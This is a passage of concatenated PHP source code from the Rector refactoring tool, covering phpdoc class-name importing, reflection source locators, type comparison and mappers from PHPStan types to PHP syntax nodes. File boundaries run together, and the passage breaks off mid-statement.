(!$this->currentPhpParserNode instanceof PhpParserNode) { throw new ShouldNotHappenException(); } // no \, skip early if (\strpos($node->name, '\\') === \false) { return null; } $staticType = $this->identifierPhpDocTypeMapper->mapIdentifierTypeNode($node, $this->currentPhpParserNode); if ($staticType instanceof ShortenedObjectType) { $staticType = new FullyQualifiedObjectType($staticType->getFullyQualifiedName()); } if (!$staticType instanceof FullyQualifiedObjectType) { return null; } // Importing root namespace classes (like \DateTime) is optional if ($this->shouldSkipShortClassName($staticType)) { return null; } $file = $this->currentFileProvider->getFile(); if (!$file instanceof File) { return null; } return $this->processFqnNameImport($this->currentPhpParserNode, $node, $staticType, $file); } public function setCurrentNode(PhpParserNode $phpParserNode) : void { $this->hasChanged = \false; $this->currentPhpParserNode = $phpParserNode; } public function hasChanged() : bool { return $this->hasChanged; } private function processFqnNameImport(PhpParserNode $phpParserNode, IdentifierTypeNode $identifierTypeNode, FullyQualifiedObjectType $fullyQualifiedObjectType, File $file) : ?IdentifierTypeNode { $parentNode = $identifierTypeNode->getAttribute(PhpDocAttributeKey::PARENT); if ($parentNode instanceof TemplateTagValueNode) { // might break return null; } // standardize to FQN if (\strncmp($fullyQualifiedObjectType->getClassName(), '@', \strlen('@')) === 0) { $fullyQualifiedObjectType = new FullyQualifiedObjectType(\ltrim($fullyQualifiedObjectType->getClassName(), '@')); } if ($this->classNameImportSkipper->shouldSkipNameForFullyQualifiedObjectType($file, $phpParserNode, $fullyQualifiedObjectType)) { return null; } $newNode = new IdentifierTypeNode($fullyQualifiedObjectType->getShortName()); // should skip because its already used if ($this->useNodesToAddCollector->isShortImported($file, $fullyQualifiedObjectType) && !$this->useNodesToAddCollector->isImportShortable($file, $fullyQualifiedObjectType)) { return null; } if ($this->shouldImport($newNode, $identifierTypeNode, $fullyQualifiedObjectType)) { $this->useNodesToAddCollector->addUseImport($fullyQualifiedObjectType); $this->hasChanged = \true; return $newNode; } return null; } private function shouldImport(IdentifierTypeNode $newNode, IdentifierTypeNode $identifierTypeNode, FullyQualifiedObjectType $fullyQualifiedObjectType) : bool { if ($newNode->name === $identifierTypeNode->name) { return \false; } if (\strncmp($identifierTypeNode->name, '\\', \strlen('\\')) === 0) { if ($fullyQualifiedObjectType->getShortName() !== $fullyQualifiedObjectType->getClassName()) { return $fullyQualifiedObjectType->getShortName() !== \ltrim($identifierTypeNode->name, '\\'); } return \true; } $className = $fullyQualifiedObjectType->getClassName(); if (!$this->reflectionProvider->hasClass($className)) { return \false; } $firstPath = Strings::before($identifierTypeNode->name, '\\' . $newNode->name); if ($firstPath === null) { return \true; } if ($firstPath === '') { return \true; } $namespaceParts = \explode('\\', \ltrim($firstPath, '\\')); return \count($namespaceParts) > 1; } private function shouldSkipShortClassName(FullyQualifiedObjectType $fullyQualifiedObjectType) : bool { $importShortClasses = SimpleParameterProvider::provideBoolParameter(Option::IMPORT_SHORT_CLASSES); if ($importShortClasses) { return \false; } return \substr_count($fullyQualifiedObjectType->getClassName(), '\\') === 0; } private function processDoctrineAnnotationTagValueNode(DoctrineAnnotationTagValueNode $doctrineAnnotationTagValueNode) : void { $currentPhpParserNode = $this->currentPhpParserNode; if (!$currentPhpParserNode instanceof PhpParserNode) { throw new ShouldNotHappenException(); } $identifierTypeNode = $doctrineAnnotationTagValueNode->identifierTypeNode; $staticType = $this->identifierPhpDocTypeMapper->mapIdentifierTypeNode($identifierTypeNode, $currentPhpParserNode); if (!$staticType instanceof FullyQualifiedObjectType) { if (!$staticType instanceof ObjectType) { return; } $staticType = new FullyQualifiedObjectType($staticType->getClassName()); } $file = $this->currentFileProvider->getFile(); if (!$file instanceof File) { return; } $shortentedIdentifierTypeNode = $this->processFqnNameImport($currentPhpParserNode, $identifierTypeNode, $staticType, $file); if (!$shortentedIdentifierTypeNode instanceof IdentifierTypeNode) { return; } $doctrineAnnotationTagValueNode->identifierTypeNode = $shortentedIdentifierTypeNode; $doctrineAnnotationTagValueNode->markAsChanged(); } private function enterSpacelessPhpDocTagNode(SpacelessPhpDocTagNode $spacelessPhpDocTagNode) : ?\Rector\BetterPhpDocParser\PhpDoc\SpacelessPhpDocTagNode { if (!$spacelessPhpDocTagNode->value instanceof DoctrineAnnotationTagValueNode) { return null; } // special case for doctrine annotation if (\strncmp($spacelessPhpDocTagNode->name, '@', \strlen('@')) !== 0) { return null; } $attributeClass = \ltrim($spacelessPhpDocTagNode->name, '@\\'); $identifierTypeNode = new IdentifierTypeNode($attributeClass); $currentPhpParserNode = $this->currentPhpParserNode; if (!$currentPhpParserNode instanceof PhpParserNode) { throw new ShouldNotHappenException(); } $staticType = $this->identifierPhpDocTypeMapper->mapIdentifierTypeNode(new IdentifierTypeNode($attributeClass), $currentPhpParserNode); if (!$staticType instanceof FullyQualifiedObjectType) { if (!$staticType instanceof ObjectType) { return null; } $staticType = new FullyQualifiedObjectType($staticType->getClassName()); } $file = $this->currentFileProvider->getFile(); if (!$file instanceof File) { return null; } $importedName = $this->processFqnNameImport($currentPhpParserNode, $identifierTypeNode, $staticType, $file); if ($importedName instanceof IdentifierTypeNode) { $spacelessPhpDocTagNode->name = '@' . $importedName->name; return $spacelessPhpDocTagNode; } return null; } } betterReflectionSourceLocatorFactory = $betterReflectionSourceLocatorFactory; $this->intermediateSourceLocator = $intermediateSourceLocator; } public function create() : MemoizingSourceLocator { $phpStanSourceLocator = $this->betterReflectionSourceLocatorFactory->create(); // make PHPStan first source locator, so we avoid parsing every single file - huge performance hit! $aggregateSourceLocator = new AggregateSourceLocator([$phpStanSourceLocator, $this->intermediateSourceLocator]); // important for cache, but should rebuild for tests return new MemoizingSourceLocator($aggregateSourceLocator); } } dynamicSourceLocatorProvider = $dynamicSourceLocatorProvider; } public function locateIdentifier(Reflector $reflector, Identifier $identifier) : ?Reflection { $sourceLocator = $this->dynamicSourceLocatorProvider->provide(); try { $reflection = $sourceLocator->locateIdentifier($reflector, $identifier); } catch (CouldNotReadFileException $exception) { return null; } if ($reflection instanceof Reflection) { return $reflection; } return null; } /** * Find all identifiers of a type * @return array */ public function locateIdentifiersByType(Reflector $reflector, IdentifierType $identifierType) : array { $sourceLocator = $this->dynamicSourceLocatorProvider->provide(); try { $reflections = $sourceLocator->locateIdentifiersByType($reflector, $identifierType); } catch (CouldNotReadFileException $exception) { return []; } if ($reflections !== []) { return $reflections; } return []; } } fileNodesFetcher = $fileNodesFetcher; $this->optimizedDirectorySourceLocatorFactory = $optimizedDirectorySourceLocatorFactory; } public function setFilePath(string $filePath) : void { $this->filePaths = [$filePath]; } /** * @param string[] $files */ public function addFiles(array $files) : void { $this->filePaths = \array_merge($this->filePaths, $files); } /** * @param string[] $directories */ public function addDirectories(array $directories) : void { $this->directories = \array_merge($this->directories, $directories); } public function provide() : SourceLocator { // do not cache for PHPUnit, as in test every fixture is different $isPHPUnitRun = StaticPHPUnitEnvironment::isPHPUnitRun(); if ($this->aggregateSourceLocator instanceof AggregateSourceLocator && !$isPHPUnitRun) { return $this->aggregateSourceLocator; } $sourceLocators = []; foreach ($this->filePaths as $file) { $sourceLocators[] = new OptimizedSingleFileSourceLocator($this->fileNodesFetcher, $file); } foreach ($this->directories as $directory) { $sourceLocators[] = $this->optimizedDirectorySourceLocatorFactory->createByDirectory($directory); } return $this->aggregateSourceLocator = new AggregateSourceLocator($sourceLocators); } public function isPathsEmpty() : bool { return $this->filePaths === [] && $this->directories === []; } /** * @api to allow fast single-container tests */ public function reset() : void { $this->filePaths = []; $this->directories = []; $this->aggregateSourceLocator = null; } } nodeTypeResolver = $nodeTypeResolver; } public function isArrayType(Expr $expr) : bool { $nodeType = $this->nodeTypeResolver->getNativeType($expr); return $nodeType->isArray()->yes(); } } nodeTypeResolver = $nodeTypeResolver; } public function isStringOrUnionStringOnlyType(Expr $expr) : bool { $nodeType = $this->nodeTypeResolver->getType($expr); return $nodeType->isString()->yes(); } } isSuperTypeOf($checkedType)->yes(); } $checkedKeyType = $checkedType->getKeyType(); $mainKeyType = $mainType->getKeyType(); if (!$mainKeyType instanceof MixedType && $mainKeyType->isSuperTypeOf($checkedKeyType)->yes()) { return \true; } $checkedItemType = $checkedType->getItemType(); $mainItemType = $mainType->getItemType(); return $checkedItemType->isSuperTypeOf($mainItemType)->yes(); } } isString()->yes() && $secondType->isString()->yes()) { // prevents "class-string" vs "string" $firstTypeClass = \get_class($firstType); $secondTypeClass = \get_class($secondType); return $firstTypeClass === $secondTypeClass; } if ($firstType->isInteger()->yes() && $secondType->isInteger()->yes()) { // prevents "int" vs "int" $firstTypeClass = \get_class($firstType); $secondTypeClass = \get_class($secondType); return $firstTypeClass === $secondTypeClass; } if ($firstType->isFloat()->yes() && $secondType->isFloat()->yes()) { return \true; } if (!$firstType->isBoolean()->yes()) { return \false; } return $secondType->isBoolean()->yes(); } /** * E.g. first is string, second is bool */ public function areDifferentScalarTypes(Type $firstType, Type $secondType) : bool { if (!$firstType->isScalar()->yes()) { return \false; } if (!$secondType->isScalar()->yes()) { return \false; } // treat class-string and string the same if ($firstType->isString()->yes() && $secondType->isString()->yes()) { return \false; } if ($firstType->isInteger()->yes() && $secondType->isInteger()->yes()) { return \false; } if (!$firstType->isString()->yes()) { return \get_class($firstType) !== \get_class($secondType); } if (!$secondType instanceof ClassStringType) { return \get_class($firstType) !== \get_class($secondType); } return \false; } } typeHasher = $typeHasher; $this->typeNormalizer = $typeNormalizer; $this->staticTypeMapper = $staticTypeMapper; $this->arrayTypeComparator = $arrayTypeComparator; $this->scalarTypeComparator = $scalarTypeComparator; $this->reflectionResolver = $reflectionResolver; } public function areTypesEqual(Type $firstType, Type $secondType) : bool { $firstType = $this->normalizeTemplateType($firstType); $secondType = $this->normalizeTemplateType($secondType); $firstTypeHash = $this->typeHasher->createTypeHash($firstType); $secondTypeHash = $this->typeHasher->createTypeHash($secondType); if ($firstTypeHash === $secondTypeHash) { return \true; } if ($this->scalarTypeComparator->areEqualScalar($firstType, $secondType)) { return \true; } // aliases and types if ($this->areAliasedObjectMatchingFqnObject($firstType, $secondType)) { return \true; } $firstType = $this->typeNormalizer->normalizeArrayOfUnionToUnionArray($firstType); $secondType = $this->typeNormalizer->normalizeArrayOfUnionToUnionArray($secondType); if ($this->typeHasher->areTypesEqual($firstType, $secondType)) { return \true; } // is template of return $this->areArrayTypeWithSingleObjectChildToParent($firstType, $secondType); } public function arePhpParserAndPhpStanPhpDocTypesEqual(Node $phpParserNode, TypeNode $phpStanDocTypeNode, Node $node) : bool { $phpParserNodeType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($phpParserNode); $phpStanDocType = $this->staticTypeMapper->mapPHPStanPhpDocTypeNodeToPHPStanType($phpStanDocTypeNode, $node); if (!$this->areTypesEqual($phpParserNodeType, $phpStanDocType) && $this->isSubtype($phpStanDocType, $phpParserNodeType)) { return \false; } // normalize bool union types $phpParserNodeType = $this->normalizeConstantBooleanType($phpParserNodeType); $phpStanDocType = $this->normalizeConstantBooleanType($phpStanDocType); // is scalar replace by another - remove it? $areDifferentScalarTypes = $this->scalarTypeComparator->areDifferentScalarTypes($phpParserNodeType, $phpStanDocType); if (!$areDifferentScalarTypes && !$this->areTypesEqual($phpParserNodeType, $phpStanDocType)) { return \false; } if ($this->areTypesSameWithLiteralTypeInPhpDoc($areDifferentScalarTypes, $phpStanDocType, $phpParserNodeType)) { return \false; } return $this->isThisTypeInFinalClass($phpStanDocType, $phpParserNodeType, $phpParserNode); } public function isSubtype(Type $checkedType, Type $mainType) : bool { $checkedType = $this->normalizeTemplateType($checkedType); $mainType = $this->normalizeTemplateType($mainType); if ($mainType instanceof MixedType) { return \false; } if (!$mainType instanceof ArrayType) { return $mainType->isSuperTypeOf($checkedType)->yes(); } if (!$checkedType instanceof ArrayType) { return $mainType->isSuperTypeOf($checkedType)->yes(); } return $this->arrayTypeComparator->isSubtype($checkedType, $mainType); } /** * unless it by ref, object param has its own life vs redefined variable * see https://3v4l.org/dI5Pe vs https://3v4l.org/S8i71 */ private function normalizeTemplateType(Type $type) : Type { return $type instanceof TemplateType ? $type->getBound() : $type; } private function areAliasedObjectMatchingFqnObject(Type $firstType, Type $secondType) : bool { if ($firstType instanceof AliasedObjectType && $secondType instanceof ObjectType) { return $firstType->getFullyQualifiedName() === $secondType->getClassName(); } if (!$firstType instanceof ObjectType) { return \false; } if (!$secondType instanceof AliasedObjectType) { return \false; } return $secondType->getFullyQualifiedName() === $firstType->getClassName(); } /** * E.g. class A extends B, class B → A[] is subtype of B[] → keep A[] */ private function areArrayTypeWithSingleObjectChildToParent(Type $firstType, Type $secondType) : bool { if (!$firstType instanceof ArrayType) { return \false; } if (!$secondType instanceof ArrayType) { return \false; } $firstArrayItemType = $firstType->getItemType(); $secondArrayItemType = $secondType->getItemType(); return $this->isMutualObjectSubtypes($firstArrayItemType, $secondArrayItemType); } private function isMutualObjectSubtypes(Type $firstArrayItemType, Type $secondArrayItemType) : bool { if (!$firstArrayItemType instanceof ObjectType) { return \false; } if (!$secondArrayItemType instanceof ObjectType) { return \false; } if ($firstArrayItemType->isSuperTypeOf($secondArrayItemType)->yes()) { return \true; } return $secondArrayItemType->isSuperTypeOf($firstArrayItemType)->yes(); } private function normalizeConstantBooleanType(Type $type) : Type { return TypeTraverser::map($type, static function (Type $type, callable $callable) : Type { if ($type instanceof ConstantBooleanType) { return new BooleanType(); } return $callable($type); }); } private function areTypesSameWithLiteralTypeInPhpDoc(bool $areDifferentScalarTypes, Type $phpStanDocType, Type $phpParserNodeType) : bool { return $areDifferentScalarTypes && $phpStanDocType instanceof ConstantScalarType && $phpParserNodeType->isSuperTypeOf($phpStanDocType)->yes(); } private function isThisTypeInFinalClass(Type $phpStanDocType, Type $phpParserNodeType, Node $node) : bool { /** * Special case for $this/(self|static) compare * * $this refers to the exact object identity, not just the same type. Therefore, it's valid and should not be removed * @see https://wiki.php.net/rfc/this_return_type for more context */ if ($phpStanDocType instanceof ThisType && $phpParserNodeType instanceof StaticType) { return \false; } $isStaticReturnDocTypeWithThisType = $phpStanDocType instanceof StaticType && $phpParserNodeType instanceof ThisType; if (!$isStaticReturnDocTypeWithThisType) { return \true; } $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection || !$classReflection->isClass()) { return \false; } return $classReflection->isFinalByKeyword(); } } oldType = $oldType; $this->newType = $newType; } public function getOldType() : Type { return $this->oldType; } public function getNewType() : Type { return $this->newType; } } phpStanNodeScopeResolver = $phpStanNodeScopeResolver; $this->filePath = $filePath; $this->mutatingScope = $mutatingScope; } public function enterNode(Node $node) : ?Node { if (!$node instanceof StmtsAwareInterface && !$node instanceof ClassLike && !$node instanceof Declare_) { return null; } if ($node->stmts === null) { return null; } $isPassedUnreachableStmt = \false; $mutatingScope = $this->resolveScope($node->getAttribute(AttributeKey::SCOPE)); foreach ($node->stmts as $stmt) { $hasMutatingScope = $stmt->getAttribute(AttributeKey::SCOPE) instanceof MutatingScope; if (!$hasMutatingScope) { $stmt->setAttribute(AttributeKey::SCOPE, $mutatingScope); $this->phpStanNodeScopeResolver->processNodes([$stmt], $this->filePath, $mutatingScope); } if ($stmt->getAttribute(AttributeKey::IS_UNREACHABLE) === \true) { $isPassedUnreachableStmt = \true; continue; } if ($isPassedUnreachableStmt) { $stmt->setAttribute(AttributeKey::IS_UNREACHABLE, \true); } } return null; } private function resolveScope(?Scope $mutatingScope) : MutatingScope { return $mutatingScope instanceof MutatingScope ? $mutatingScope : $this->mutatingScope; } } getExpr(); } return $expr; } } */ public function getNodeClass() : string; /** * @param TType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode; /** * @param TType $type * @param TypeKind::* $typeKind * @return Name|ComplexType|Identifier|null */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node; } getTypes() as $unionedType) { if ($this->isInstanceOfCollectionType($unionedType)) { $hasDoctrineCollectionType = \true; } if ($unionedType instanceof ArrayType) { $arrayType = $unionedType; } } if (!$hasDoctrineCollectionType) { return \false; } return $arrayType instanceof ArrayType; } public function isInstanceOfCollectionType(Type $type) : bool { if (!$type instanceof ObjectType) { return \false; } return $type->isInstanceOf('Doctrine\\Common\\Collections\\Collection')->yes(); } } typeMappers = $typeMappers; Assert::notEmpty($typeMappers); } public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { foreach ($this->typeMappers as $typeMapper) { if (!\is_a($type, $typeMapper->getNodeClass(), \true)) { continue; } return $typeMapper->mapToPHPStanPhpDocTypeNode($type); } throw new NotImplementedYetException(__METHOD__ . ' for ' . \get_class($type)); } /** * @param TypeKind::* $typeKind * @return \PhpParser\Node\Name|\PhpParser\Node\ComplexType|\PhpParser\Node\Identifier|null */ public function mapToPhpParserNode(Type $type, string $typeKind) { foreach ($this->typeMappers as $typeMapper) { if (!\is_a($type, $typeMapper->getNodeClass(), \true)) { continue; } return $typeMapper->mapToPhpParserNode($type, $typeKind); } throw new NotImplementedYetException(__METHOD__ . ' for ' . \get_class($type)); } } */ final class AccessoryLiteralStringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return AccessoryLiteralStringType::class; } /** * @param AccessoryLiteralStringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param AccessoryLiteralStringType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class AccessoryNonEmptyStringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return AccessoryNonEmptyStringType::class; } /** * @param AccessoryNonEmptyStringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param AccessoryNonEmptyStringType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class AccessoryNonFalsyStringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return AccessoryNonFalsyStringType::class; } /** * @param AccessoryNonFalsyStringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param AccessoryNonFalsyStringType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class AccessoryNumericStringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return AccessoryNumericStringType::class; } /** * @param AccessoryNumericStringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param AccessoryNumericStringType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class ArrayTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\TypeDeclaration\TypeAnalyzer\GenericClassStringTypeNormalizer */ private $genericClassStringTypeNormalizer; /** * @readonly * @var \Rector\TypeDeclaration\NodeTypeAnalyzer\DetailedTypeAnalyzer */ private $detailedTypeAnalyzer; /** * @var string */ public const HAS_GENERIC_TYPE_PARENT = 'has_generic_type_parent'; /** * @var \Rector\PHPStanStaticTypeMapper\PHPStanStaticTypeMapper */ private $phpStanStaticTypeMapper; public function __construct(GenericClassStringTypeNormalizer $genericClassStringTypeNormalizer, DetailedTypeAnalyzer $detailedTypeAnalyzer) { $this->genericClassStringTypeNormalizer = $genericClassStringTypeNormalizer; $this->detailedTypeAnalyzer = $detailedTypeAnalyzer; } // To avoid circular dependency public function autowire(PHPStanStaticTypeMapper $phpStanStaticTypeMapper) : void { $this->phpStanStaticTypeMapper = $phpStanStaticTypeMapper; } public function getNodeClass() : string { return ArrayType::class; } /** * @param ArrayType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { // this cannot be handled by PHPStan $type->toPhpDocNode() as requires space removal around "|" in union type // then e.g. "int" instead of explicit number, and nice arrays $itemType = $type->getItemType(); $isGenericArray = $this->isGenericArrayCandidate($type); if ($itemType instanceof UnionType && !$type instanceof ConstantArrayType && !$isGenericArray) { return $this->createArrayTypeNodeFromUnionType($itemType); } if ($itemType instanceof ArrayType && $this->isGenericArrayCandidate($itemType)) { return $this->createGenericArrayType($type, \true); } if ($isGenericArray) { return $this->createGenericArrayType($type, \true); } $itemTypeNode = $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode($itemType); return new SpacingAwareArrayTypeNode($itemTypeNode); } /** * @param ArrayType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { return new Identifier('array'); } private function createArrayTypeNodeFromUnionType(UnionType $unionType) : SpacingAwareArrayTypeNode { $unionedArrayType = []; foreach ($unionType->getTypes() as $unionedType) { $typeNode = $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode($unionedType); $unionedArrayType[(string) $typeNode] = $typeNode; } if (\count($unionedArrayType) > 1) { return new SpacingAwareArrayTypeNode(new BracketsAwareUnionTypeNode($unionedArrayType)); } /** @var TypeNode $arrayType */ $arrayType = \array_shift($unionedArrayType); return new SpacingAwareArrayTypeNode($arrayType); } private function isGenericArrayCandidate(ArrayType $arrayType) : bool { if ($arrayType->getKeyType() instanceof MixedType) { return \false; } if ($this->isClassStringArrayType($arrayType)) { return \true; } // skip simple arrays, like "string[]", from converting to obvious "array" if ($this->isIntegerKeyAndNonNestedArray($arrayType)) { return \false; } if ($arrayType->getKeyType() instanceof NeverType) { return \false; } // make sure the integer key type is not natural/implicit array int keys $keysArrayType = $arrayType->getKeysArray(); if (!$keysArrayType instanceof ConstantArrayType) { return \true; } foreach ($keysArrayType->getValueTypes() as $key => $keyType) { if (!$keyType instanceof ConstantIntegerType) { return \true; } if ($key !== $keyType->getValue()) { return \true; } } return \false; } private function createGenericArrayType(ArrayType $arrayType, bool $withKey = \false) : GenericTypeNode { $itemType = $arrayType->getItemType(); $itemTypeNode = $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode($itemType); $identifierTypeNode = new IdentifierTypeNode('array'); // is class-string[] list only if ($this->isClassStringArrayType($arrayType)) { $withKey = \false; } if ($withKey) { $keyTypeNode = $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode($arrayType->getKeyType()); if ($itemTypeNode instanceof BracketsAwareUnionTypeNode && $this->isPairClassTooDetailed($itemType)) { $genericTypes = [$keyTypeNode, $this->phpStanStaticTypeMapper->mapToPHPStanPhpDocTypeNode(new ClassStringType())]; } else { $genericTypes = [$keyTypeNode, $itemTypeNode]; } } else { $genericTypes = [$itemTypeNode]; } // @see https://github.com/phpstan/phpdoc-parser/blob/98a088b17966bdf6ee25c8a4b634df313d8aa531/tests/PHPStan/Parser/PhpDocParserTest.php#L2692-L2696 foreach ($genericTypes as $genericType) { /** @var \PHPStan\PhpDocParser\Ast\Node $genericType */ $genericType->setAttribute(self::HAS_GENERIC_TYPE_PARENT, $withKey); } $identifierTypeNode->setAttribute(self::HAS_GENERIC_TYPE_PARENT, $withKey); return new GenericTypeNode($identifierTypeNode, $genericTypes); } private function isPairClassTooDetailed(Type $itemType) : bool { if (!$itemType instanceof UnionType) { return \false; } if (!$this->genericClassStringTypeNormalizer->isAllGenericClassStringType($itemType)) { return \false; } return $this->detailedTypeAnalyzer->isTooDetailed($itemType); } private function isIntegerKeyAndNonNestedArray(ArrayType $arrayType) : bool { if (!$arrayType->getKeyType()->isInteger()->yes()) { return \false; } return !$arrayType->getItemType() instanceof ArrayType; } private function isClassStringArrayType(ArrayType $arrayType) : bool { if ($arrayType->getKeyType() instanceof MixedType) { return $arrayType->getItemType() instanceof GenericClassStringType; } if ($arrayType->getKeyType() instanceof ConstantIntegerType) { return $arrayType->getItemType() instanceof GenericClassStringType; } return \false; } } */ final class BooleanTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return BooleanType::class; } /** * @param BooleanType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param BooleanType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } if ($typeKind === TypeKind::PROPERTY) { return new Identifier('bool'); } if ($typeKind === TypeKind::UNION && $type instanceof ConstantBooleanType && $type->getValue() === \false) { return new Identifier('false'); } if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::NULL_FALSE_TRUE_STANDALONE_TYPE) && $type instanceof ConstantBooleanType) { return $type->getValue() ? new Identifier('true') : new Identifier('false'); } return new Identifier('bool'); } } */ final class CallableTypeMapper implements TypeMapperInterface { public function getNodeClass() : string { return CallableType::class; } /** * @param CallableType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param TypeKind::* $typeKind * @param CallableType|ClosureType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if ($typeKind === TypeKind::PROPERTY) { return null; } return new Identifier('callable'); } } */ final class ClassStringTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return ClassStringType::class; } /** * @param ClassStringType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param ClassStringType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::SCALAR_TYPES)) { return null; } return new Identifier('string'); } } */ final class ClosureTypeMapper implements TypeMapperInterface { /** * @readonly * @var \Rector\Php\PhpVersionProvider */ private $phpVersionProvider; public function __construct(PhpVersionProvider $phpVersionProvider) { $this->phpVersionProvider = $phpVersionProvider; } public function getNodeClass() : string { return ClosureType::class; } /** * @param ClosureType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { $typeNode = $type->toPhpDocNode(); $phpDocNodeTraverser = new PhpDocNodeTraverser(); $phpDocNodeTraverser->traverseWithCallable($typeNode, '', static function (AstNode $astNode) : ?FullyQualifiedIdentifierTypeNode { if (!$astNode instanceof IdentifierTypeNode) { return null; } if ($astNode->name !== 'Closure') { return null; } return new FullyQualifiedIdentifierTypeNode('Closure'); }); return $typeNode; } /** * @param TypeKind::* $typeKind * @param ClosureType $type */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { // ref https://3v4l.org/iKMK6#v5.3.29 if ($typeKind === TypeKind::PARAM && $this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::ANONYMOUS_FUNCTION_PARAM_TYPE)) { return new FullyQualified('Closure'); } // ref https://3v4l.org/g8WvW#v7.4.0 if ($typeKind === TypeKind::PROPERTY && $this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::TYPED_PROPERTIES)) { return new FullyQualified('Closure'); } if ($typeKind !== TypeKind::RETURN) { return null; } // ref https://3v4l.org/nUreN#v7.0.0 if (!$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::ANONYMOUS_FUNCTION_RETURN_TYPE)) { return null; } return new FullyQualified('Closure'); } } */ final class ConditionalTypeForParameterMapper implements TypeMapperInterface { /** * @var \Rector\PHPStanStaticTypeMapper\PHPStanStaticTypeMapper */ private $phpStanStaticTypeMapper; public function autowire(PHPStanStaticTypeMapper $phpStanStaticTypeMapper) : void { $this->phpStanStaticTypeMapper = $phpStanStaticTypeMapper; } public function getNodeClass() : string { return ConditionalTypeForParameter::class; } /** * @param ConditionalTypeForParameter $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { return $type->toPhpDocNode(); } /** * @param ConditionalTypeForParameter $type * @param TypeKind::* $typeKind */ public function mapToPhpParserNode(Type $type, string $typeKind) : ?Node { $type = TypeCombinator::union($type->getIf(), $type->getElse()); return $this->phpStanStaticTypeMapper->mapToPhpParserNode($type, $typeKind); } } */ final class ConditionalTypeMapper implements TypeMapperInterface { /** * @var \Rector\PHPStanStaticTypeMapper\PHPStanStaticTypeMapper */ private $phpStanStaticTypeMapper; public function autowire(PHPStanStaticTypeMapper $phpStanStaticTypeMapper) : void { $this->phpStanStaticTypeMapper = $phpStanStaticTypeMapper; } public function getNodeClass() : string { return ConditionalType::class; } /** * @param ConditionalType $type */ public function mapToPHPStanPhpDocTypeNode(Type $type) : TypeNode { $type = TypeTraverser::map($type, static function (Type $type, callable $traverse) : Type { if ($type instanceof ObjectType && !$type->getClassReflection() instanceof ClassReflection) { $newClassName = (string) 